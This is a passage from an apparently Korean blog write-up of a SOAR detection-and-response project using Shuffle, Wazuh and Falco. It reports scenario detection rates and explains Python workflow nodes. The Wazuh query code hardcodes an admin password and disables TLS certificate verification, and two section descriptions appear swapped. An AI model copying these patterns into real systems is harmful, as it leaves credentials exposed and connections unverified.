&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7.1.3. 결과 세부 분석&lt;/b&gt; &lt;b&gt;1) SC-01: 역직렬화 기반 Remote Shell (TDR 100%)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;분석:&lt;/b&gt; Interrupt_RCE_Reverse_Shell 룰이 공격자의 인바운드 페이로드와 리버스 셸 커넥션을 완벽하게 식별하였습니다 .&lt;/li&gt;
&lt;li&gt;&lt;b&gt;대응:&lt;/b&gt; 누적 점수가 즉시 &lt;b&gt;Critical(100점 이상)&lt;/b&gt; 임계치를 초과함에 따라, 에이전트 네트워크 격리 로직이 지연 없이 수행되었습니다 .&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2) SC-02: Ransomware 행위 분석 (TDR 85%)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;분석:&lt;/b&gt; 대량의 파일 수정 행위가 Wazuh FIM 노드에 의해 포착되었으나, 공격 초기 단계의 일부 정찰 행위가 탐지 범위에서 제외되어 85%의 탐지율을 기록했습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;대응:&lt;/b&gt; no_hash_count가 급증함에 따라 가중 점수가 부여되어 최종적으로 &lt;b&gt;High(70점 이상)&lt;/b&gt; 등급에 도달, 공격자 IP 차단이 성공적으로 이루어졌습니다 .&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3) SC-03: 권한 상승 및 내부망 이동 (TDR 90%)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;분석:&lt;/b&gt; 특권 권한 획득 시도는 Interrupt_Privilege_Escalation 룰로 정확히 탐지되었습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;대응:&lt;/b&gt; 다만, 내부망 이동(Lateral Movement) 과정에서 신규 에이전트로의 전파 시 캐시 키 생성 및 세션 동기화 과정에서 일부 지연이 발생하여 대응 성공률은 80%에 머물렀습니다 . 이는 향후 세션 복제 로직의 고도화가 필요한 지점입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7.2. 수동 대응 대비 SOAR의 정량적 기대 효과 분석 (MTTP/MTTR 비교, 관제업무 부하 경감)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 사고 발생 시 관제 요원의 수동 대응 프로세스와 본 SOAR 체계의 자동 대응 프로세스를 비교 분석하여 정량적 성과를 도출했습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;평균 탐지-조치 시간(MTTR) 단축&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;수동 대응&lt;/b&gt;: 로그 분석 &amp;rarr; TI 수동 조회 &amp;rarr; 보안 정책 설정 &amp;rarr; 보고서 작성 (평균 15~30분 소요).&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SOAR 대응&lt;/b&gt;: 실시간 이벤트 수집 &amp;rarr; 다차원 스코어링 &amp;rarr; 자동 정책 적용 (평균 10초 이내 완료).&lt;/li&gt;
&lt;li&gt;&lt;b&gt;성과&lt;/b&gt;: 대응 속도 면에서 약 &lt;b&gt;98% 이상의 시간 단축&lt;/b&gt; 효과를 확인했습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;관제 업무 부하 경감&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;상태유지 필터링&lt;/b&gt;: Filter_Old_FIM 및 IP 중복 제거 로직을 통해 반복되는 경보를 85% 이상 필터링하여 '알람 피로도'를 획기적으로 낮췄습니다 .&lt;/li&gt;
&lt;li&gt;&lt;b&gt;정량적 수치&lt;/b&gt;: 일일 분석 대상 이벤트 건수를 대폭 감소시켜 보안 엔지니어가 고도화된 침해 사고 분석에 집중할 수 있는 환경을 마련했습니다 .&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7.3. 프로젝트의 한계점 및 향후 고도화 방안&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7.3.1. 기술적 한계점 (https 페이로드 분석 한계, 난독화된 역직렬화 gadget, 대규모 트래픽시 python 기반 스코어링 엔진 병목)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 시스템의 운영 안정성 확보를 위해 도출된 주요 기술적 제약 사항은 다음과 같습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;HTTPS 페이로드 분석의 제약&lt;/b&gt;: 암호화된 트래픽 내부에 은닉된 페이로드는 Shuffle 레벨에서 복호화 및 분석이 불가능하여, 호스트 기반 로그(Falco/Wazuh)에 의존해야 하는 한계가 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;난독화된 역직렬화(Deserialization) Gadget&lt;/b&gt;: 복잡하게 난독화된 Java Gadget 등은 정규표현식 기반의 탐지 룰로 식별하기 어려워 오탐 혹은 미탐의 가능성이 존재합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;스코어링 엔진의 확장성 문제&lt;/b&gt;: 대규모 트래픽 발생 시 Python 기반의 스코어링 노드가 단일 스레드 처리에 따른 병목 현상을 유발할 수 있으며, 이는 응답 지연으로 이어질 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7.3.2. 향후 고도화 방안 (AI/ML기반 이상행위 탐지, zero trust 연동 - 롤백 자동화 등)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;차세대 보안 운영 모델로 진화하기 위해 다음과 같은 고도화 전략을 수립합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;AI/ML 기반 이상행위 탐지 모델 통합&lt;/b&gt;: 고정된 스코어링 가중치 대신, 과거 로그를 학습한 머신러닝 모델을 도입하여 알려지지 않은 공격(Zero-day)에 대한 탐지 정밀도를 향상시킬 예정입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Zero Trust 및 마이크로 세그멘테이션 연동&lt;/b&gt;: 단순 네트워크 격리를 넘어, 사용자 계정 권한 회수 및 동적 세그멘테이션 변경을 통한 &lt;b&gt;롤백 자동화&lt;/b&gt; 체계를 구축할 계획입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;분산 처리 아키텍처 도입&lt;/b&gt;: 성능 병목 현상 해결을 위해 스코어링 엔진을 컨테이너 기반으로 확장하고, 메시지 큐(Kafka 등)를 도입하여 대규모 트래픽 환경에서의 분석 안정성을 확보하고자 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;SOAR 노드 분석 - 0126.14시기준&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;1. Webhook&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: 워크플로우의 시작점입니다. Falco나 Wazuh에서 발생한 JSON 형태의 Alert 데이터를 HTTP POST 방식으로 수신합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;핵심 로직&lt;/b&gt;: 특정 엔드포인트(.../hooks/webhook_02f5...)로 들어오는 모든 데이터를 후속 노드로 전달합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;2. Generate_Cache_Key&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: 각 서버(Agent)별로 &lt;b&gt;독립적인 데이터 저장소&lt;/b&gt;를 만들기 위한 &quot;이름표&quot;를 생성합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;코드 분석&lt;/b&gt;:&lt;/li&gt;
&lt;li&gt;agent_id = &quot;$exec.agent.id&quot; return {&quot;key&quot;: f&quot;agent_cache_{agent_id}&quot;, ...}&lt;/li&gt;
&lt;li&gt;&lt;b&gt;설계 의도&lt;/b&gt;: 여러 대의 서버에서 동시에 공격이 들어올 때 데이터가 섞이지 않도록 하기 위함입니다. agent_id를 키로 사용하여 서버별로 공격 점수를 따로 쌓습니다.&lt;/li&gt;
&lt;li&gt;python code 분석
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;서버별 독립 공간 확보&lt;/b&gt;: 만약 A 서버와 B 서버에서 동시에 공격이 들어왔을 때, 이 노드가 생성한 key 덕분에 A 서버의 점수와 B 서버의 점수가 합쳐지지 않고 각각 관리됩니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;상관 분석의 시작점&lt;/b&gt;: 나중에 Get_Session_Cache 노드가 이 key를 들고 가서 &quot;이 서버, 아까 전에도 공격받았던 기록 있어?&quot;라고 물어볼 수 있게 해주는 &lt;b&gt;인덱스(Index)&lt;/b&gt; 역할을 합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;데이터 정규화&lt;/b&gt;: 어떤 로그 플랫폼(Wazuh, Falco 등)에서 데이터가 들어오더라도, Shuffle 내부에서는 agent_cache_{id}라는 &lt;b&gt;통일된 형식&lt;/b&gt;으로 데이터를 다룰 수 있게 해줍니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;import json # [1] Shuffle 변수 매핑: # $exec.agent.id는 이전 노드(Webhook 등)에서 전달된 데이터 중 # 해당 경보를 발생시킨 에이전트(서버)의 고유 ID를 가져옵니다. agent_id = &quot;$exec.agent.id&quot; def run(): &quot;&quot;&quot; Shuffle의 Python 노드 실행 메인 함수 &quot;&quot;&quot; # [2] 결과 반환: # 후속 노드인 'Get_Session_Cache'나 'Set_Session_Cache'에서 사용할 # 고유한 '캐시 키'와 에이전트 정보를 딕셔너리 형태로 구성합니다. return { # 'agent_cache_001'과 같은 형태로 고유 키를 생성합니다. # 이 키를 통해 Redis나 DB에서 해당 서버의 과거 '상태'를 찾아옵니다. &quot;key&quot;: f&quot;agent_cache_{agent_id}&quot;, # 에이전트 ID를 명시적으로 전달하여 다음 노드에서 참조하기 쉽게 합니다. &quot;agent_id&quot;: agent_id, # 노드 실행 상태를 추적하기 위한 플래그입니다. &quot;status&quot;: &quot;valid&quot;, &quot;is_valid&quot;: True } # Shuffle 환경에서 스크립트가 단독 실행될 때 JSON 형태로 결과를 출력하도록 합니다. if __name__ == &quot;__main__&quot;: print(json.dumps(run()))&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;3. Get_Session_Cache&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: Shuffle의 데이터베이스에서 **해당 서버의 이전 상태(과거 점수, 이미 검사한 IP 등)**를 불러옵니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;핵심&lt;/b&gt;: 이 노드가 있기 때문에 &quot;이전에 20점이었는데, 이번 공격으로 30점이 추가되어 총 50점이네?&quot;라는 &lt;b&gt;시나리오 추적&lt;/b&gt;이 가능해집니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;4. Analyze_Log_Artifacts&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: 들어온 로그에서 분석할 대상(IP)을 정제하고, 새로운 세션인지 판별하는 &lt;b&gt;필터링 엔진&lt;/b&gt;입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;코드 분석&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Whitelist (EXCLUDED_IPS)&lt;/b&gt;: 내부망 IP나 스캔 서버 등 신뢰할 수 있는 IP를 제외하여 오탐을 줄입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;중복 제거 (new_ips_to_scan)&lt;/b&gt;: checked_ips(캐시에서 가져온 목록)와 대조하여, 이미 검사한 IP는 다시 AbuseIPDB에 조회하지 않습니다. 이는 API 쿼리 비용을 절약하는 핵심 로직입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;is_new_session&lt;/b&gt;: 캐시 데이터가 없으면 새 세션으로 간주하고 점수를 초기화할 준비를 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;python code 분석
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;API 호출 최적화 (비용 및 성능)&lt;/b&gt;: 보통 AbuseIPDB 같은 TI 서비스는 쿼리 횟수 제한이 있습니다. 공격자가 1분 동안 1,000번의 패킷을 보낸다고 해서 1,000번 조회하는 것이 아니라, new_ips_to_scan 로직을 통해 &lt;b&gt;최초 1번만 조회&lt;/b&gt;하고 결과를 캐싱하여 활용합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;로그 가독성 향상&lt;/b&gt;: full_log 전체를 뒤지는 Regex를 사용하여, 포맷이 다른 로그(Falco, Wazuh 등)가 들어와도 유연하게 IP를 추출해낼 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;상태 유지(Stateful) 분석&lt;/b&gt;: base_score를 캐시에서 불러와 다음 노드로 넘겨줌으로써, 공격의 **'누적 위험도'**를 계산할 수 있는 기반을 마련합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;import re import json # --- 1. 설정: 제외할 IP 목록 (Whitelist) --- # 보안 장비, 내부 점검용 서버, 루프백 주소 등 탐지에서 제외할 '안전한 IP'입니다. # 오탐(False Positive)을 방지하고 분석 소음을 줄이는 첫 번째 방어선입니다. EXCLUDED_IPS = [&quot;192.168.10.62&quot;, &quot;192.168.10.250&quot;, &quot;127.0.0.1&quot;, &quot;172.17.0.2&quot;] # --- 2. 데이터 수신 (에러 방지 필수 코드) --- # Shuffle의 노드 변수는 데이터가 없을 때 에러를 낼 수 있으므로 try-except로 안전하게 감쌉니다. try: # Webhook 노드에서 전달된 전체 원본 데이터를 가져옵니다. WEBHOOK_DATA = json.loads(&quot;&quot;&quot;$exec&quot;&quot;&quot;) except: WEBHOOK_DATA = {} try: # 이전 노드(Get_Session_Cache)에서 불러온 해당 에이전트의 과거 기록입니다. raw_cache = &quot;&quot;&quot;$get_session_cache&quot;&quot;&quot; if not raw_cache or raw_cache == &quot;null&quot;: CACHE_RESULT = {} else: CACHE_RESULT = json.loads(raw_cache) except: CACHE_RESULT = {} # --- 3. Helper 함수 --- def get_ips(text): &quot;&quot;&quot; 로그 텍스트에서 IP를 추출하고 화이트리스트를 적용하는 함수 &quot;&quot;&quot; if not text: return [] # 정규표현식을 사용하여 IPv4 형태의 문자열을 모두 찾습니다. pattern = re.compile(r'\\b(?:[0-9]{1,3}\\.){3}[0-9]{1,3}\\b') all_ips = list(set(pattern.findall(str(text)))) # 중복 IP 제거 # 추출된 IP 중 EXCLUDED_IPS에 포함되지 않은 '진짜 조사 대상'만 필터링합니다. valid_ips = [ip for ip in all_ips if ip not in EXCLUDED_IPS] return valid_ips # --- 4. 메인 로직 --- def run(): # A. 신규 세션 여부 판단 # 캐시에 정보가 없다면, 이 에이전트(서버)에 대한 공격이 처음 탐지되었음을 의미합니다. is_new_session = False if not CACHE_RESULT or CACHE_RESULT.get(&quot;found&quot;) is False: is_new_session = True # B. 기존 캐시 데이터 로드 # 이전에 분석했던 점수와 IP 목록을 불러와 현재 상태에 병합할 준비를 합니다. val = CACHE_RESULT.get(&quot;value&quot;, {}) if isinstance(val, str): try: val = json.loads(val) except: val = {} checked_ips = val.get(&quot;checked_ips&quot;, []) # 이미 검사 완료된 IP 리스트 current_score = val.get(&quot;current_score&quot;, 0) # 현재까지 누적된 공격 점수 # C. IP 추출 (필터링 적용됨) # 로그의 'full_log' 필드에서 IP를 추출하되, 없을 경우 전체 데이터에서 찾습니다. log_output = WEBHOOK_DATA.get(&quot;data&quot;, {}).get(&quot;full_log&quot;) or str(WEBHOOK_DATA) extracted_ips = get_ips(log_output) # D. 중복 제거 (핵심 로직) # 이번 로그에서 나온 IP들 중, 이전에 이미 검사했던(checked_ips) IP는 제외합니다. # 이렇게 해야 동일 IP의 반복 공격에 대해 TI(AbuseIPDB) API를 계속 낭비하지 않습니다. new_ips_to_scan = [ip for ip in extracted_ips if ip not in checked_ips] return { # 이 결과값들은 다음 노드의 실행 여부(Condition)를 결정하는 트리거가 됩니다. &quot;has_new_ips&quot;: len(new_ips_to_scan) &amp;gt; 0, # 새로운 IP가 있을 때만 TI 조회를 수행하게 함 &quot;is_new_session&quot;: is_new_session, # 첫 공격인지 지속 공격인지 구분 &quot;base_score&quot;: current_score, # 지금까지 쌓인 점수를 다음 노드로 전달 &quot;ips_to_scan&quot;: new_ips_to_scan, # 이번에 새로 조사할 IP 리스트 &quot;all_checked_ips&quot;: list(set(checked_ips + extracted_ips)), # 업데이트된 누적 IP 리스트 &quot;agent_id&quot;: WEBHOOK_DATA.get(&quot;agent&quot;, {}).get(&quot;id&quot;, &quot;unknown&quot;) } if __name__ == &quot;__main__&quot;: print(json.dumps(run()))&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;5-1. Wazuh_FIM_Search &amp;amp; Filter_Old_FIM&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: 외부 위협 인텔리전스를 통해 탐지된 IP의 위험도를 조회합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;입력&lt;/b&gt;: Analyze_Log_Artifacts에서 걸러진 진짜 수상한 ips_to_scan 리스트를 받습니다.&lt;/li&gt;
&lt;li&gt;python code 분석 (&lt;b&gt;Wazuh_FIM_Search&lt;/b&gt;)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;포트 선정의 영리함 (9200 vs 55000)&lt;/b&gt;: 보통 Wazuh API(55000)를 쓰지만, 여기서는 Indexer(9200)를 직접 사용했습니다. 이는 대량의 로그 데이터를 검색(Search)할 때 훨씬 빠르고, Elasticsearch의 강력한 쿼리 문법(DSL)을 그대로 쓸 수 있다는 장점이 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Time-Window (10분) 설정&lt;/b&gt;: 너무 짧으면 공격 전후의 파일 변화를 놓칠 수 있고, 너무 길면 성능 부하가 생깁니다. now-10m은 침투 직후 공격자가 웹셸을 올리거나 설정을 바꾸는 행위를 포착하기에 적절한 황금 시간대입니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;상태 분석을 위한 데이터 정제&lt;/b&gt;: 단순히 &quot;파일이 바뀌었다&quot;가 아니라 sha256 해시값을 추출함으로써, 이후 노드에서 **&quot;이 해시가 악성코드 DB에 있는가?&quot;**를 즉시 물어볼 수 있게 준비를 마친 상태입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;import requests import json import urllib3 # SSL 인증서 경고 무시 (사설 인증서를 사용하는 내부 Wazuh 환경에서 필수) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # [설정] Wazuh Indexer(Elasticsearch) 접속 정보 # 55000(API)이 아닌 9200(Indexer) 포트를 사용하여 저장된 원본 인덱스에 직접 접근합니다. WAZUH_URL = '&amp;lt;https://192.168.10.251:9200&amp;gt;' USER = &quot;admin&quot; PASS = &quot;Wazuh2025.&quot; # [입력] 현재 분석 중인 서버의 Agent ID를 Shuffle 실행 데이터에서 가져옵니다. try: AGENT_ID = &quot;$exec.agent.id&quot; except: AGENT_ID = &quot;000&quot; def run(): # 1. 쿼리 생성 (Elasticsearch DSL 형식) # 공격 발생 시점 기준으로 '관련성 있는' 파일 변경 로그만 필터링하는 핵심 조건입니다. query = { &quot;query&quot;: { &quot;bool&quot;: { &quot;must&quot;: [ { &quot;match&quot;: { &quot;agent.id&quot;: AGENT_ID } }, # 해당 서버의 로그만 { &quot;match&quot;: { &quot;rule.groups&quot;: &quot;syscheck&quot; } }, # 그중 'FIM(syscheck)' 그룹 로그만 # 실시간 대응을 위해 '지금으로부터 10분 전(now-10m)'까지의 로그로 범위를 한정합니다. { &quot;range&quot;: { &quot;@timestamp&quot;: { &quot;gte&quot;: &quot;now-10m&quot; } } } ] } }, &quot;size&quot;: 20, # 최대 20개의 최근 변경 이력을 가져옵니다. &quot;sort&quot;: [ { &quot;@timestamp&quot;: { &quot;order&quot;: &quot;desc&quot; } } # 가장 최근에 바뀐 파일이 위로 오게 정렬 ] } # 2. API 요청 (Wazuh Indexer: 9200 포트의 _search 엔드포인트 활용) search_url = f&quot;{WAZUH_URL}/wazuh-alerts-*/_search&quot; headers = {&quot;Content-Type&quot;: &quot;application/json&quot;} fim_events = [] try: # Wazuh 인덱서에 직접 REST API 요청을 보냅니다. response = requests.get( search_url, auth=(USER, PASS), json=query, headers=headers, verify=False, # SSL 검증 생략 timeout=10 ) if response.status_code == 200: hits = response.json().get(&quot;hits&quot;, {}).get(&quot;hits&quot;, []) # 3. 데이터 정제 (Parsing) # 수많은 메타데이터 중 분석에 꼭 필요한 5가지 핵심 정보만 추출합니다. for hit in hits: source = hit.get(&quot;_source&quot;, {}) syscheck = source.get(&quot;syscheck&quot;, {}) fim_events.append({ &quot;time&quot;: source.get(&quot;@timestamp&quot;), &quot;file&quot;: syscheck.get(&quot;path&quot;), # 어떤 파일이 바뀌었나? &quot;event&quot;: syscheck.get(&quot;event&quot;), # 생성, 수정, 삭제 중 무엇인가? # 변경된 파일의 해시값 (MISP 등 TI 연동을 위해 추출) &quot;sha256&quot;: syscheck.get(&quot;sha256_after&quot;) or syscheck.get(&quot;sha256&quot;), &quot;id&quot;: hit.get(&quot;_id&quot;) # 중복 처리 방지를 위한 원본 로그 ID }) else: print(f&quot;Error: {response.status_code} - {response.text}&quot;) except Exception as e: return {&quot;error&quot;: str(e)} # 4. 결과 반환 return { &quot;agent_id&quot;: AGENT_ID, &quot;count&quot;: len(fim_events), &quot;fim_data&quot;: fim_events # 정제된 FIM 리스트를 다음 노드(Filter_Old_FIM)로 전달 } if __name__ == &quot;__main__&quot;: print(json.dumps(run()))&lt;/li&gt;
&lt;li&gt;python code 분석 (&lt;b&gt;Filter_Old_FIM&lt;/b&gt;)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;알람 피로도(Alert Fatigue) 감소&lt;/b&gt;: 공격자가 같은 파일을 수십 번 수정할 때마다 똑같은 알람이 울리면 관제자가 지칩니다. 이 코드는 &lt;b&gt;ID 기반 필터링&lt;/b&gt;을 통해 &quot;이 로그는 아까 봤던 거네&quot;라고 판단하여 중복 알람을 컷트합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;TI 쿼리 비용 최적화&lt;/b&gt;: MISP나 VirusTotal 같은 위협 인텔리전스 API는 조회 횟수에 제한이 있는 경우가 많습니다. checked_hashes를 관리함으로써, &lt;b&gt;이미 '안전'하거나 '위험'하다고 판명 난 파일은 다시 물어보지 않습니다.&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;흐름 제어 (has_new_hashes)&lt;/b&gt;: Shuffle 워크플로우에서 &quot;데이터가 있을 때만 다음 노드로 가라&quot;는 조건을 줄 때 아주 유용합니다. 불필요하게 MISP 노드를 호출하지 않아 전체 프로세스가 가벼워집니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;import json # --- 1. 입력 데이터 수신 및 정규화 --- try: # 이전 Wazuh 검색 노드($wazuh_fim_search)에서 가져온 파일 변경 리스트입니다. raw_data = &quot;&quot;&quot;$wazuh_fim_search.message.fim_data&quot;&quot;&quot; # 데이터 형식이 문자열, 리스트, 혹은 null인 경우를 모두 대응하여 안전하게 파싱합니다. if not raw_data or raw_data == &quot;null&quot;: FIM_LIST = [] elif isinstance(raw_data, str): try: FIM_LIST = json.loads(raw_data) except: FIM_LIST = [] elif isinstance(raw_data, list): FIM_LIST = raw_data else: FIM_LIST = [] except: FIM_LIST = [] # --- 2. 캐시 로드 (상태 유지의 핵심) --- try: # Shuffle 데이터베이스(Get_Session_Cache)에 저장되어 있던 이전 상태 값을 가져옵니다. raw_cache = &quot;&quot;&quot;$get_session_cache&quot;&quot;&quot; cache_data = json.loads(raw_cache) if raw_cache and raw_cache != &quot;null&quot; else {} val = cache_data.get(&quot;value&quot;, {}) if isinstance(val, str): val = json.loads(val) # [중요] 이미 처리된 로그 ID와 이미 검사 완료된 파일 해시 리스트를 확보합니다. processed_fim_ids = val.get(&quot;processed_fim_ids&quot;, []) checked_hashes = val.get(&quot;checked_hashes&quot;, []) except: processed_fim_ids = [] checked_hashes = [] def run(): new_events = [] # 이번에 새로 탐지된 이벤트들 new_ids = [] # 이번에 새로 추가될 로그 ID들 new_hashes_to_scan = [] # MISP 등 TI 조회가 필요한 새로운 해시들 # 수집된 FIM 리스트를 하나씩 검사합니다. for item in FIM_LIST: event_id = item.get(&quot;id&quot;) file_hash = item.get(&quot;sha256&quot;) # A. 로그 ID 중복 체크: 이미 처리했던 로그(ID 기반)라면 무시합니다. if event_id not in processed_fim_ids: new_ids.append(event_id) # B. 해시 중복 체크: 로그는 다르더라도 파일 해시가 이미 검사된 적 있다면 # 중복 조회를 방지하기 위해 TI 조회 리스트(new_hashes_to_scan)에서는 제외합니다. if file_hash and file_hash not in checked_hashes and file_hash not in new_hashes_to_scan: new_hashes_to_scan.append(file_hash) new_events.append(item) # --- 3. 결과 반환 (Flag 기반 자동화 제어) --- return { # [핵심 플래그] 새로 발견된 해시가 있을 때만 True를 반환합니다. # 이를 통해 다음 노드인 MISP 조회를 실행할지 말지 결정(Condition)할 수 있습니다. &quot;has_new_hashes&quot;: len(new_hashes_to_scan) &amp;gt; 0, &quot;new_fim_count&quot;: len(new_events), &quot;hashes_to_misp&quot;: new_hashes_to_scan, # MISP 노드가 가져갈 순수 조사 대상 # 이번에 확인한 ID와 해시를 기존 리스트에 합쳐서 반환합니다. # 이 값은 나중에 'Set_Session_Cache' 노드에서 다시 저장됩니다. &quot;updated_fim_ids&quot;: processed_fim_ids + new_ids, &quot;updated_hashes&quot;: list(set(checked_hashes + new_hashes_to_scan)) } if __name__ == &quot;__main__&quot;: print(json.dumps(run()))&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;5-2. AbuseIPDB (External TI)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: 파일 무결성 모니터링(FIM) 데이터를 통해 &lt;b&gt;실제로 시스템에 어떤 파일 변화가 있었는지&lt;/b&gt; 추적합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Wazuh_FIM_Search 코드 분석&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Wazuh Indexer(9200 포트)에 직접 쿼리를 날려 &lt;b&gt;최근 10분(now-10m)&lt;/b&gt; 동안의 syscheck 로그만 가져옵니다. 불필요한 과거 데이터를 배제하여 분석 속도를 높였습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Filter_Old_FIM 코드 분석&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일의 해시값(sha256)이 바뀌었는지, 혹은 이전에 이미 분석했던 파일인지 체크합니다.&lt;/li&gt;
&lt;li&gt;has_new_hashes 플래그를 통해 MISP 등으로 해시를 전달할지 결정합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
